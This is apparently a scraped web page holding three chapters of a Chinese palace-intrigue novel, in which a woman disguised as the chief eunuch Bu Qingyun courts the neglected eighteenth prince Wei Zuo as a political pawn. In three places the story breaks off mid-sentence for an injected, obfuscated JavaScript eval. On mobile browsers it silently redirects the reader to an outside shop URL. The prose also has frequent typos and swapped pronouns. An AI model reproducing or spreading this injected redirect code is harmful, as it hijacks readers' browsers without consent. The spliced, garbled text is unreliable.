《柔弱外室哥带娃后》 1. 第 1 章 隆庆二十七年·冬·盛京皇宫。 寅时三刻，天还未亮，宫墙内的积雪厚厚的一层。 司里监值房里炭火烧的正旺，却暖不透那身绯红蟒袍下的寒意。步青云放下最后一本奏折，朱批上的字迹凌厉如刀——那是一个御史的名字，后面跟着“斩立绝”三字。 “掌印，刑部那边已经打点好了。”小太监顺子垂手立在门边，声音压得极低，“张御史的家眷…” “按例办。”步青云的声音不辨喜怒，只抬手揉了揉眉心。烛火在她清秀却苍白的脸上跳动，映出一双深不见底的眼。若非那身宦官服制，任谁都会以为这是个清冷矜贵的世家公子。 顺子应声退下，却在门口顿了顿:“掌印，太后那边传话，让你辰时去慈宁宫一趟。” 步青云的指尖在案几上轻叩两下:“知道了。” 待房门合上，她才从袖中取出一方素帕，拭去额角的细汗。 隆冬时节，司礼监掌印的值房却门窗紧闭。 八年了。 她对着铜镜你那里袍服，镜中人眉目如画，却染着洗不去的血色。八年前，楚家满门抄斩时，他十六岁，兄长将她藏进运送尸体的板车，自己却转身引开了追兵。她记得兄长最后的口型:“活下去，报仇。” 于是楚玉死了，活下来的是太监步青云。 从净房洒扫到御前听差，从监栏院到司礼监，她用八年时间爬上这万人之上的位置。代价是什么？这手上洗不尽的血，是夜里止不住的噩梦，是再不能以真面目示人的余生。 窗外传来打更声，，卯时了。 步青云起身推开窗，寒风裹挟着雪沫扑进来，吹散了值房内淡淡的药香。那是她用来遮掩女子体征的草药，日复一日，年复一年。 “掌印，该去上朝了。”门外又响起顺子的声音。 今日大朝会，隆庆帝病体稍愈，要亲临太和殿。这对步青云来说不是好事。皇帝越清醒，她这掌印太监就越需小心行事。太后、首辅、锦衣卫指挥使…各方势力犬牙交错，她不过是其中最危险也最脆弱的一环。 太和殿前，文武百官已列队等候。 步青云从侧廊行来，所过之处，官员们纷纷垂首避让。有憎恶的，有恐惧的，也有谄媚的。她一概视而不见，径直走到御阶之下，站在了文官队列的最前方。 那是司礼监掌印的位置，虽无宰相之名，却有宰相之实。 “步公公。”身旁传来温和的招呼声。 是内阁首辅徐阶，六十余岁的老臣，三朝元老，门生故史遍布朝野。此刻正笑眯眯地看着她，眼中却无半分笑意。 “徐阁老。”步青云微微颌首。 “听闻昨夜张御史…”徐阶话未说尽，但意思明了。 “贪赃枉法，证据确凿。”步青云答得滴水不漏，“陛下最恨贪腐，阁老应是知道的。” 徐阶捋了捋花白的胡须，笑容不变:“自然，自然。只是张御史曾任太子少傅，太子那边…” 话音未落，钟鼓齐鸣，殿门洞开。 百官鱼贯而入。步青云跟在徐阶身后，余光瞥见武将队列中一个熟悉的身影。 锦衣卫指挥使陆炳，太后的远房侄儿，正用审视的目光打量着她。 殿内，庆隆帝高坐龙椅，面色蜡黄，眼下乌青。这位在位是二十七年的皇帝，年轻时也曾励精图治，如今却沉迷丹药，荒废朝政。若非如此，她一个‘太监’又如何能爬得这么快？ “有本启奏，无本退朝。”司礼监随堂太监拖长了声音。 徐阶率先出列，奏报南方水患灾赈事宜。接着是兵部尚书，奏报北京鞑靼扰边。再是户部尚书，奏报国库空虚… 步青云垂眸听着，心中冷笑。这些奏报十有八九都是做给皇帝看的戏码。真正的权力交易，早在朝会前的值房、府邸甚至青楼里完成了。 “步青云。龙椅上传来沙哑的声音。 他即刻出列躬身:“臣在。” “山东清史司的缺，补上了吗？” “回陛下，以拟定三人，请陛下圣裁。”步青云从袖中取出名册，由太监转呈御前。 这是她昨日与徐阶博弈的结果。三人中，两个是徐阶的门生，一个是她安排的人。皇帝会选谁？或者说太后希望皇帝选谁？ 隆庆帝翻看名册，咳嗽了几声:“就…就第二个吧。” 第二个，徐阶的人。 步青云面色不改:“臣遵旨。” 徐阶投来一个意味深长的眼神。这场交易她输了，但输的值得。 山东青史司换刑部一个郎中缺，那是她早就布下的棋子。 朝会在已时结束。隆庆帝精神不济，早早退了朝。百官散去时，步青云被一个小太监拦下。 “步公公，太后请你去慈宁宫说话。” 来了。 慈宁宫的暖阁里，地龙烧的极热。太后李氏未着朝服，只一声家常的降紫宫装，斜倚在软塌上。五十余岁的年纪，保养得宜，眉眼间依稀可见年轻时的美艳，只是那眼神太过锐利。 “奴才叩见太后。”步青云行了大礼。 “起来吧，赐坐。”太后手里把玩着一串佛珠，“步青云你可知哀家为何找你？” “奴才愚钝。” 太后轻笑一声，笑意未达眼底:“张御史的案子，办的急了。” 步青云心中一凛，面上却依旧恭顺:“太后明鉴，张御史贪赃证据确凿，奴才不敢徇私。” “贪赃？”太后放下佛珠，“他那点银子，也值得你大动干戈。哀家听说他死前曾上书弹劾陆炳纵容家奴站强占民田，可有此事？” 空气骤然凝固。 步青云袖中的手微微收紧。原来症结在这里。张御史死前确实上过密折，弹劾锦衣卫指挥使陆炳。 而这陆炳，正是太后的侄儿。 那封密折被她截下了，但她没想到太后消息如此灵通。 “奴才…未曾见过此奏。”她选择装傻。 太后盯着她看了许久，久到步青云后背冷汗浸湿了中衣。 “罢了。”太后突然叹了口气，“一个御史而已，死了就死了。只是步青云，你要记住——”她倾身向前，声音压的极低，“在这宫里，知道太多的人，往往活不长。” “奴才谨记太后教诲。” “去吧。”太后挥挥手，像是倦了，“对了，十八皇子前些日子病了，你替哀家去看看。那孩子可怜，生母去的早，也没个人照应。” 步青云心中一动，面上不显:“奴才遵命。” 退出暖阁时，他听到太后对身边嬷嬷地低语:“…敲打敲打，让他知道谁才是主子。” 风雪扑面而来，步青云却觉得比暖阁里舒畅的多。十八皇子魏祚…宫女所生，今年应当十六岁了。在皇子中排最末，也最不受宠，住在皇宫最西边，几乎被人遗忘。 太后为何突然提起他？ 回司礼物监的路上，步青云一直思索。直到路过那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082477|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，她鬼使神差地停下了脚步。 那宫殿确实偏僻，墙劈斑驳，门庭冷落。院中积雪无人打扫，几只麻雀在枯枝上跳来跳去。这般光景，哪像皇子居所，倒像冷宫。 她正要离开，殿门忽然开了。 一个少年探出身了，穿着半袖的月白棉袍，身形单薄，面容清秀的过分。他看到步青云，显然吓了一跳，慌忙要退回门内，却因动作太急，脚下一滑，直接摔在雪地里。 步青云下意识上前两步，又顿住了。 那少年挣扎着要起身，棉袍沾了雪，手也冻得通红。他抬起头，撞上步青云的目光，眼中闪过一丝慌乱，随即垂下眼帘，声音细若蚊呐:“见、见过公公…” 这便是十八皇子魏祚。 步青云打量着他。十六岁的少年，却有着十二三岁的身形，可见这些年过得何等艰难。容貌倒是极好，眉眼精致，皮肤白皙，只是那怯懦的神情，破坏了那份精致。 “殿下请起。”步青云终是伸出了手。 魏祚犹豫一瞬，小心翼翼的将手搭上来。他的手很凉，指节纤细，像是轻轻一折就会断。 “多谢公公…”他站起身，立刻退开两步，垂着头不敢看她。 “殿下病了？”步青云问。 “前些日子染了风寒，已、已大好了。”魏祚答的磕磕绊绊。 步青云点点头，目光扫过空荡的庭院:“伺候的人呢？” “嬷嬷去领月例了…”声音越来越小。 一个皇子，身边只有一个嬷嬷。步青云心中冷笑，这便是皇宫，这便是天家亲情。 “奴才奉太后之命来看望殿下。”她说着场面话，“殿下既然已大好，奴才便回去复命了。” “有劳公公…”魏祚依旧垂着头。 步青云转身要走，忽又想起什么，从袖中取出一个小瓷瓶:“这是上好的枇杷膏，殿下若是咳嗽未愈，可服用些。” 魏祚惊讶的抬头，眼中满是不解。两人对视的一瞬，步青云看到了他眼底深处的惶恐，以及一丝掩藏不住的、小兽般的警惕。 有趣。 她将瓷瓶放在院中的石桌上，不再多言，转身离去。 走出很远，回头望去，那少年还站在雪中，望着石桌上的瓷瓶发呆。单薄的身影在风雪里摇摇欲坠，像一株随时会折断的苇草。 步青云收回目光，心中某个角落微微一动。 不受宠、无依无靠、性格懦弱…这样的皇子，不正是最好的棋子吗？ 他想起太后的敲打，想起徐阶的试探，想起陆炳审视的目光。在这深宫之中，她看似权倾朝野，实则如履薄冰。若有一日失势，等待她的将是比死更惨的下场。 她需要退路，需要筹码，需要…一个傀儡。 魏祚的身影在脑海中挥之不去。 或许，这就是天意。 回到司礼监，顺子迎上来:“掌印，刑部来报，张御史已…已伏法。” 步青云“嗯”了一声，坐在案前。案上堆着今日要批的红本，最上面一封是弹劾她的。 说他擅权干政，结交外臣，奏请皇帝严惩。 他提笔蘸朱砂。在那奏折上批了四个字:“危言耸听。” 墨迹未干，殷红如血。 窗外风雪更紧了。步青云推开窗，任由寒风灌入。远处，那边一片朦胧。 棋子已经落下了。 下一步是该好好谋划，如何让这颗棋子，心甘情愿地走进他的棋局。 2. 第 2 章 魏祚在雪地里站了很久，久到手脚都冻得麻木，才挪动步子走向石桌。 那白瓷小瓶静静立在斑驳的石面上，瓶身细腻温润，与这破败庭院格格不入。他伸出手，指尖在触到瓶身时又缩了回来，像是怕碰坏了什么珍贵的物事。 步公公…司礼监掌印太监步青云。 他虽深居简出，却也听过这个名字。宫人们私下议论时，总带着三分畏惧七分厌恶。 那位步掌印啊，手上沾的血，比咱家这辈子见过的朱砂还多。 可方才那人…魏祚回想那张清冷苍白的脸，那双眼深得像不见底的寒潭，却没有宫人们形容的狰狞。甚至，递过来扶他的手，也是温的。 “殿下？” 身后传来嬷嬷的声音。魏祚慌忙将瓷瓶拢入袖中，转身时一副惯常的懦弱表情。 孙嬷嬷挎着个竹篮走进，篮里是刚从内务府领回的月例：两斤陈米，半斤腊肉，几颗焉了的白菜。她年过五十，腰背佝偻，是魏祚生母徐宫女的同乡，也是这偏殿唯一的旧人。 “你怎么又出来了？病才刚好…”嬷嬷絮叨着，目光扫过石桌，顿了一下，“刚才有人来过？” 魏祚低下头:“是、是步公公，奉太后之命来看我。” 孙嬷嬷脸色大变，竹篮险些脱手:“步…步青云，他来了？他说了什么？做了什么？” 一连串的问话让魏祚更加紧张:“没，没什么，就是问了问病情，给了瓶枇杷膏…” “枇杷膏？”孙嬷嬷抢步上前，抓住他的袖子，“东西呢？给我看看！” 魏祚不情愿地掏出瓷瓶。嬷嬷夺过去，对着光仔细端详，又拔开塞子嗅了嗅，眉头紧锁。 “殿下，这药不能吃。”她斩钉截铁。 “为什么？” 孙嬷嬷张了张嘴，欲言又止，最后叹气道：“那位步掌印…不是什么善茬。他给的东西，谁知道里头掺了什么？你忘了三皇子是怎么没的？” 魏祚心中一凛。 三皇子，他的三哥，三年前暴病身亡。宫里有传言，说是被人下了慢性的毒。没有证据，最后不了了之。 “可是……”他看着那瓷瓶，“他若想害我，何必亲自来？随便派一个人下毒不是更隐蔽。” 孙嬷嬷被问住了，半晌才道：“总之，小心为上。这宫里的人，没一个简单的。”她将此瓶塞回魏祚手中，“收着吧，但别用。明日我去太医那儿再讨些药。” 魏祚握紧瓷瓶，冰凉的瓷瓶渐渐染上他的体温。 夜里，偏殿格外寒冷。碳盆里只有几块劣质炭，燃不起多少暖意。魏祚过的旧棉被，辗转难眠。 窗外风声呜咽，像无数冤魂在哭诉。他想起生母徐宫女，那个他几乎记不清面容的女人。宫人们说，她生的极美，也因此招来祸患。在他三岁那年，徐宫女失足落水而亡。是真的失足，还是被人推下去的，无人敢问。 之后他便被扔到偏殿，由孙嬷嬷照料。父皇从未召见过他，兄弟们视他如无物。每年除夕宫宴，他虽在受邀之列，却总坐在最角落，看着父王与宠妃、与得势的皇子们言笑晏晏，自己像个误入的局外人。 十六年，就这么过来。 他以为会一直这么过下去，直到老死在这冷宫的殿宇里。 可今天，步青云来了。 那个权倾朝野的掌印太监，为什么要来看他一个不受宠的皇子？真的只是奉太后之命吗？ 魏祚摸出枕下的瓷瓶，黑暗中看不清模样，只觉那温润的触感异常真实。 他拔开塞子，淡淡的药香飘出来，是枇杷和蜂蜜的味道，清甜温和。 鬼使神差地，他用指尖沾了一点，放入口中。 甜的。 同一时刻，司礼监值房。 步青云还未歇下。案上摊着一本厚厚的册子，是宫中所有皇子、公主的详细档案。她的指尖停在十八皇子魏祚那一页。 生母徐氏，浣衣局宫女，隆庆十一年被临幸，封为选侍。隆庆十二年诞下皇子，未晋位份。隆庆十五年失足落水身亡。 魏祚，隆庆十二年三月生，年十六。未开蒙，未习武，未参与朝政。居西偏殿，月例按末等皇子发放，配嬷嬷一人、小太监两人。 简短的记录，勾勒出一个被彻底遗忘的皇子的一生。 步青云合上册子，闭目沉思。 太后今日突然提起魏祚。绝非偶然。这位太后李氏，原为隆庆帝继后，并非太子生母。太子魏衸乃已故元后所出，与太后并不亲近。这些年太后扶持自家外戚，与太子一党明争暗斗，朝堂皆知。 那么，魏祚在这场争斗中，扮演什么角色？ 一个无依无靠的皇子，若是操纵得当…… 步青云睁开眼，眸中闪过一丝微笑。 她需要了解更多。关于魏祚，关于西偏殿，关于那些被刻意掩埋的往事。 “顺子。” 走在门外的小太监立刻推门进来：“掌印。” “去查两件事。”步青云声音平静，“第一，徐选侍落水的真相。第二，这些年有哪些人接触过十八皇子？” 顺子怔了怔：“掌印是要……” “去查便是。”步青云打断他，“记住，要隐秘。” “是。” 顺子退下后，步青云走到窗前。雪已停了，月色清冷，照着琉璃瓦上的积雪。 她想起白日里魏祚摔倒的样子，想起他搭在她手上时的冰凉的触感，想起他眼中小兽般的警惕。 那样的眼神，她太熟悉了。 八年前楚家灭门夜，她躲在尸堆里，看着兄长引开追兵，眼中就是这样的神情。 恐惧，却又强撑着最后一丝倔强。 不同的是，兄长选择了赴死，而她选择了苟活。 “棋子……”步青云轻声自语，指尖在窗棂上划过，“或许，也可以是同伴。” 话音刚落，她自己先笑了。 多么天真的想法。在这吃人的皇宫里，哪有什么同伴，只有利用与被利用，吞噬与被吞噬。 可为何，心头那点犹豫，始终挥之不去？ 三日后，甚至带来了消息。 值房里炭火噼啪作响，顺子压低声音：“掌印，徐选侍的事……有蹊跷。” 步青云正在批阅奏折，闻言笔尖一顿：“说。” “奴才问了当年浣衣局的一些老人。徐选侍落水那日，原本不该他去太液池边洗衣。是管事的嬷嬷临时调派，说贵妃宫里的衣服急着要。可贵妃宫里的人说，那日并无急件。” 步青云抬眼：“继续。” “徐选侍落水后，最先感到的是两个小太监，但他们没救人，反而跑开了。等侍卫赶到，人已经没了。”顺子顿了顿，“那两个小太监，后来一个暴病死了，一个调到皇陵守墓，前年也病死了。” “倒是干净。”步青云冷笑。 “还有……徐选侍落水前几日，曾与人在御花园争吵。有人看见，对方是个宫女，但没看清你。争吵内容……似乎与十八皇子有关。” 步青云放下笔：“具体。” 顺子凑得更近：“那宫女说……‘你以为生了皇子就能翻身？做梦。那位不会允许的。’” 那位？ 步青云眯起眼。宫中最忌讳指名道姓，能用“那位”代指的，无非就那么几个人。 太后？贵妃？或是……皇后。 “十八皇子那边呢？”她问。 “这些年接触他的人很少。”顺子回道，“除了孙嬷嬷，只有内务服每月送月例的小太监。不过……”他犹豫了一下，“三年前，太子曾去过西偏殿。” 步青云猛的抬眼：“太子？” “是。据说是路过，进去坐了坐，给了些糕点。待了不到一刻钟就走了。” 太子魏衸，时年二十五，元后嫡出，名正言顺的储君。他去西偏殿做什么？真是路过？ “还有吗？” “去年除夕宫宴后，十八皇子回宫时迷了路，误入了冷宫一带，遇到了……”顺子声音更低了，“遇到了陆指挥使。” 陆炳？锦衣卫指挥使，太后的侄儿。 步青云指尖轻扣桌面。一次是偶然，两次是巧合，三次呢？ 太后、太子、陆炳……这些权势滔天的人为何都会与一个不受宠的皇子产生交集？ “陆炳做了什么？”她问。 “什么都没做，只是看了一眼，便走了。”顺子道，“但十八皇子吓得不轻，回去后病了一场。” 步青云沉默良久。 看来，这颗棋子比她想象的更有意思。或者说，早已有人在暗中关注这颗棋子，只是尚未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082478|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 那她就来做第一个落子的人。 “备些东西。”步青云起身，“我去西偏殿。” “现在？”顺子惊讶，“掌印，天快黑了，而且雪又下起来了。” “正是时候。”步青云望向窗外。暮色四合，细雪纷纷，正是掩人耳目的好时机。 西偏殿里，魏祚正在抄经。 这是孙嬷嬷给他找的活计。替宫中嫔妃抄写经书，换些微薄的赏钱。他的字很好，清秀工整，是这些年唯一认真学过的东西。 烛火摇曳，映着他专注的侧脸。忽然，院门被叩响。 这么晚了，会是谁？ 魏祚搁下笔，孙嬷嬷已从厢房出来，神色警惕：“殿下别动，老奴去看看。” 透过门缝，孙嬷嬷看见门外站着两个人。前面的是步青云，后面跟着个小太监，手里提着食盒。 她心跳如鼓，犹豫片刻，还是开了门。 “嬷嬷不必多礼。”步青云语气平和，“白日里事多，只得夜间过来。打扰了。” 话虽客气，人已迈不进来。 魏祚站殿门口，看着步青云踏雪而来。今日她换了身靛蓝常服，外罩玄色斗篷，肩头落了一层薄雪，衬得面色愈发苍白。 “殿下的病可大好了？”步青云问。 “好、好了。” 步青云示意顺子将食盒放在桌上：“天冷，带了些热食。殿下与嬷嬷用些暖暖身子。” 食盒打开，是两碗热气腾腾的鸡丝面，还有几样精致小菜。这样的食物，西偏殿一年也见不到几次。 孙嬷嬷脸色变幻，最终道：“谢公公赏赐。只是殿下才用过晚膳……” “嬷嬷，”魏祚打断她，目光平静，“我有些话，想单独与殿下说。” 空气骤然凝固。 孙嬷嬷攥紧了衣角，看向魏祚。少年脸色发白，却轻轻点了点头。 “嬷嬷先去用面吧，凉了可惜。”魏祚说。 孙嬷嬷一步三回头地退下了。殿内只剩下两人，烛火噼啪，映着两张同样苍白的面容。 “殿下怕我？”步青云忽然问。 魏祚猛的抬头，对上那双深潭般的眼，又慌忙垂下：“不、不敢。” “不敢，不是不怕。”步青云走近几步，在桌边坐下，“殿下可知，我为何来？” 魏祚摇摇头。 “太后让我来看你，是其一。”步青云顿了顿，“其二，是我自己想来看你。” 少年眼中闪过一丝不解。 步青云从袖中取出一本书，放在桌上。书页泛黄，边角磨损，显然常被翻阅。 “听说殿下爱读书。”步青云说，“这本书，送给你。” 魏祚愣愣地看着那书，不敢接。 “殿下，”步青云的声音忽然放得很轻，“在这宫里，不争不抢，真的能活下来吗？” 魏祚浑身一颤。 这个问题，他问过自己无数次。答案是什么？他不知道。他只知道，若不争不抢，或许还能苟活；如果争了抢了，可能死的更快。 像他生母那样。 “我……”他张了张嘴，发不出声音。 步青云看着他，目光复杂。许久，她起身：“书留给你，若想通了，可以来找我。” 走到门口，她停住脚步，回头。 烛光里，少年的身影单薄得像是随时会消散。 “殿下，”她说，“有时候，不是你去争，而是别人不允许你不争。” 门开了又合，风雪灌进来，吹得烛火狂舞。 魏祚站在原地，许久未动。桌上，那本书静静躺着，身旁是那瓶枇杷膏。 他忽然想起三年前，太子来西偏殿那次。 太子给了他一盒糕点，拍了拍他的肩膀，说：“十八弟，好好活着。” 当时他以为那是关怀。 现在想来，那语气，那眼神，分明是怜悯。 怜悯一个注定活不长的人。 魏祚慢慢走到桌前，拿起那本书。书很沉，沉的他几乎拿不动。 他翻开第一页，映入眼帘的是一行朱笔批注：“乱世求生，非争不可。” 字迹凌厉，与奏折上那些“斩立决”如出一辙。 窗外风雪更紧了。 魏祚握紧书卷，指尖泛白。 3. 第 3 章 隆庆二十七年的腊月，盛京的雪一场接着一场，将皇宫装点的素白肃穆。 步青云从西偏殿回来后，一连三日没有动作。她在等，等魏祚的反应，也在等宫中其他人的反应。 第三日午后，太后召见。 慈宁宫的暖阁比上次更热，熏香浓的呛人。太后靠在软榻上，膝盖盖着狐皮褥子，手中捻着佛珠，看似慵懒，眼神却锐利如鹰。 “步青云，十八皇子那边，你去过了？”太后开门见山。 “回太后，去过了。”步青云垂首，“十八殿下病已大好，只是身子仍弱，需好生将养。” 太后“嗯”了一声，半响不语。佛珠划过指尖，发出轻微的磕碰声。 “那孩子……像他娘。”太后忽然道，语气不明，“徐宫女当年，也是这般弱不禁风的样子。” 步青云心中微动，面上不显：“奴才入宫晚，未曾得见徐选侍。” “见了也没用，死人罢了。”太后说的轻描淡写，“不过，她倒是生了个好儿子。听说十八皇子读书用功，字也写得好？” “奴才去时，殿下正在抄经，字迹确实工整。” 太后笑了，笑声里听不出情绪：“一个皇子，整日抄经念佛，像什么样子？”她顿了顿，“过几日腊八宴，让他也来吧。总闷在西偏殿，人都要闷坏了。” 步青云抬头：“太后是想……” “哀家能想什么？”然后睨她一眼，“不过是可怜那孩子。你去传话吧。” “是。” 退出慈宁宫，步青云脚步未停，心中却已转过无数念头。太后突然要让魏祚参加腊八宴，绝不只是可怜那么简单。 腊八宴是皇家家宴，得到皇帝、后妃、皇子公主，还会有几位近支宗亲。魏祚十六年来从未在这种场面露脸，如今突然出席，会掀起怎样的波澜。 更重要的是，太后想借此试探什么？侦探皇帝对这个小儿子的态度？试探其他皇子的反应？还是……试探她步青云？ 回到司礼监，顺子迎上来，脸色有些奇怪：“掌印，贵妃娘娘宫里来人了，请你过去一趟。” 贵妃周氏，隆庆帝最宠爱的妃子，育有七皇子魏禄。这位贵妃出身将门，性格张扬，与太后素来不睦，与太子一党更是势同水火。 步青云与贵妃并无深交，只在必要的场合打过照面。此时召见，所谓何事？ “说了什么事吗？”她问。 顺子摇头：“只说有要事相商。” 步青云略一沉吟：“更衣，去长春宫。” 长春宫的气派与西偏殿天壤之别。殿内陈设奢华，地龙烧得暖如春日，空气中弥漫着甜腻的暖香。贵妃周氏为着正装，一身绯红宫裙，斜倚在贵妃榻上，手中把玩着一只通体雪白的狮子猫。 见到步青云，她并未起身，只是懒懒抬眼：“步公公来了，赐座。” “谢娘娘。”步青云行礼落座，目光低垂。 周贵妃三十出头，容貌艳丽，只是那眉眼间的骄纵，破坏了本该有的风华。她抚着猫背，漫不经心道：“听闻前几日，步公公去了西偏殿。” 消息传的真快。步青云心中冷笑，面上恭顺：“奉太后之命，去看望十八殿下。” “太后？”周贵妃挑眉，“她倒是好心。不过……”她顿了顿，挥手摒退左右，“本宫有件事，想请步公公帮忙。” 店内只剩两人一猫，步青云静静等待。 “腊八夜。十八皇子也要出席。”周贵妃说，“那孩子深居简出，怕是连规矩都不懂。本宫想请步公公……教教他。” 教规矩？ 步青云抬眼看她：“娘娘的意思是……” “意思是，”周贵妃放下猫，倾身向前，声音压低，“教他什么该说，什么不该说。什么该做，什么不该做。” 四目相对，步青云看到了周贵妃眼底的警告。 “比如，”周贵妃继续道，“三年前太子去过西偏殿的事，就不该提。去年他误入冷宫遇到一陆炳的事，也不该提。至于他娘徐宫女是怎么死的……更不该提。” 每说一句。步青云的心就沉一分。 原来如此。贵妃不是在拉拢，而是在威胁。她知道了步青云在查徐宫女的事，知道了步青云在接触魏祚，这是在敲打她。我知道你在做什么，适可而止。 “娘娘多虑了。”步青云垂眸，“十八殿下性子怯弱，从不多言。” “怯弱？”周贵妃笑了，“本宫看未必。兔子急了还咬人呢，何况是个皇子。”她站起身，踱到步青云面前，“步公公，你是聪明人。在这宫里，聪明人要知道站哪边。太后年纪大了，太子……未必能等到登机那天。” 这话已说得极露骨。周贵妃在拉拢她，用七皇子魏禄的未来。 “奴才只是个阉人，不敢妄议朝政。”步青云起身，“娘娘若无其他吩咐，奴才告退。” 周贵妃盯着他她看了许久，忽然又笑了：“罢了，你去吧。不过本宫的话，步公公好好想想。腊八宴前，给本宫个答复。” 走出长春宫时，天色已暗。细雪又飘起来，落在肩头，冷冰冰的。 步青云没有坐轿子，徒步走回司礼监。路过西偏殿时，她停下脚步。 殿内亮着微弱的烛光，在风雪中摇曳不定。 贵妃的警告，太后的试探，太子的关注。陆炳的偶遇……所有线索交织在一起，指向那个看似无害的少年。 魏祚，你到底知道什么？ “掌印，还去吗？”顺子低声问。 步青云摇头：“回司礼监。” 有些事，她需要重新谋划。 西偏殿内，魏祚正在读步青云给他的那本书。 这本书他看了三日，每一页都仔细研读，尤其是那些朱笔批注。批注不多，但每一条都犀利深刻，直指要害。 “秦灭六国，非兵之利，乃势之必然。”旁批：“势在人为。” “汉武穷兵黩读，国库空虚。”旁批：“非常之时，行非常之事。” “唐玄宗晚年昏聩，酿安史之乱。”旁批：“权柄不可假手于人。” 每读一条，魏祚的心就震动一分。这些批注，与他这些年读过的所有注解都不同。没有迂腐的教条，没有空洞的道德说价，只有赤裸裸的现实与算计。 写这些批注的人，该是怎样一个人？ 他想起步青云那双深不见底的眼，想起他说的那句话：“有时候不是你去争而是别人不允许你不争。” “殿下，”孙嬷嬷推门进来，端着碗姜汤，“趁热喝了吧。” 魏祚接过，捧在手中取暖：“嬷嬷，你说步公公是个怎样的人？” 孙嬷嬷脸色一变：“殿下怎么又问起他？老奴说过，那人不是善茬。” “我知道。”魏祚打断他，“可是嬷嬷，这宫里谁是善茬？太子？贵妃？还是……太后？” 孙嬷嬷噎住了。 “嬷嬷，”魏祚看着碗中晃动的姜汤，“我娘到底是怎么死的？” “殿下！”孙嬷嬷声音发颤，“您、您怎么突然问这个……” “我只是想知道真相。”魏祚抬起头，烛光里，他的眼神异常平静，“嬷嬷，我十六岁了。不是三岁，不是六岁，我该知道了。” 孙嬷嬷看着他，眼眶忽然红了。她走到门边，确认无人偷听，才颤声开口：“你娘……这被人害死的。” 虽然早有预料，但亲耳听到，魏祚还是心中一痛。 “是谁？” “老奴……不知道。”孙嬷嬷摇头，泪珠滚落，“那日徐选侍从御花园回来，脸色煞白，手里攥着个东西，他不让老奴看，只说……‘若我出事，把这个交给十八皇子，让他好好活着别报仇。’” 魏祚呼吸一窒：“什么东西？” “一块玉佩。”孙嬷嬷抹泪，“她说，那是她入宫前，一个故人给的。老奴后来找过，没找到。许是……许是被人拿走了。” 玉佩？故人？ 魏祚脑中一片混乱。 “那落水……” “不是意外。”孙嬷嬷咬牙，“徐选侍根本不会水，平日从不去太液池边。那日是有人传话，说贵妃召见，她才去的。可贵妃宫里的人说，根本没叫过他。” 贵妃？周贵妃？ 魏祚想起今日午后，长春宫的一个小太监来过，说贵妃娘娘惦记他的病，送了些补药。态度恭敬倒是十分恭敬。 若真是贵妃害了他娘，为何现在又对他示好？ 除非……他不是威胁，而是筹码。 “嬷嬷，”魏祚放下姜汤，“腊八宴，太后让我去。” 孙嬷嬷大惊：“什么？这、这怎么……行殿下那种场合……” “我知道。”魏祚站起身，走到窗边。窗外风雪呼啸，亦如他此刻的心境。 十六年的隐忍，十六年的逃避，真的能换来平安吗？ 他想起生母的遗言：好好活着，别报仇。 可他连好好活着都做不到。这深宫之中，处处是刀，步步是险。今日是太后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082479|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜悯，明日是贵妃的试探，后日又会是什么？ “殿下……”孙嬷嬷担忧的看着他。 魏祚转身，烛光在他眼中跳动：“嬷嬷，我想去见步公公。” “不行！”孙嬷嬷急道，“那人危险……” “正因为危险，才要去。”魏祚声音很轻，却很坚定，“这宫里，我无人可依，无势可借。若一定要选一个人……至少，他给了我选择的机会。” 那本书，那些批注，那瓶枇杷膏……或许都是算计，但也是他十六年来，收到的第一份善意。 哪怕这善意，沾着血。 孙嬷嬷看着他，忽然发现，这个从她从小照顾到大的孩子，不知何时已经长大了。那个怯弱畏缩的少年，眼中有了她看不懂的东西。 “殿下想好了？” 魏祚点头：“想好了。” 哪怕前路是深渊，他也想亲眼看看，深渊之下，究竟是地狱，还是……另一条生路。 次日清晨，雪停了。 魏祚换上半新不旧的靛蓝棉袍，带着那本书，第一次主动走向司礼监。 路上遇到几个宫人，见到他都愣了一下，随即慌忙行礼，眼神却充满探究。十八皇子出门了，还去了司礼监。 这消息很快就会传遍后宫。 司礼监位于皇宫东侧，靠近文华殿，是宫中权力中心之一。朱红大门前立着两个石狮，威严肃穆。 守门的小太监见到魏祚，显然吃了一惊：“十、十八殿下？你怎么……。” “我来见步公公。”魏祚努力让声音平稳，“烦请通传。” 小太监犹豫片刻，还是进去了。不多时，顺子快步出来，躬身道：“殿下请进，掌印在值房等您。” 踏进司礼监的那一刻，魏祚的心跳如擂鼓。院中积雪已被扫尽，青石地面湿漉漉的，倒映着灰白的天空。两侧厢房里传出低低的说话声、翻动纸张的声音，空气中有墨香，也有淡淡的血腥味。 值房门开了。 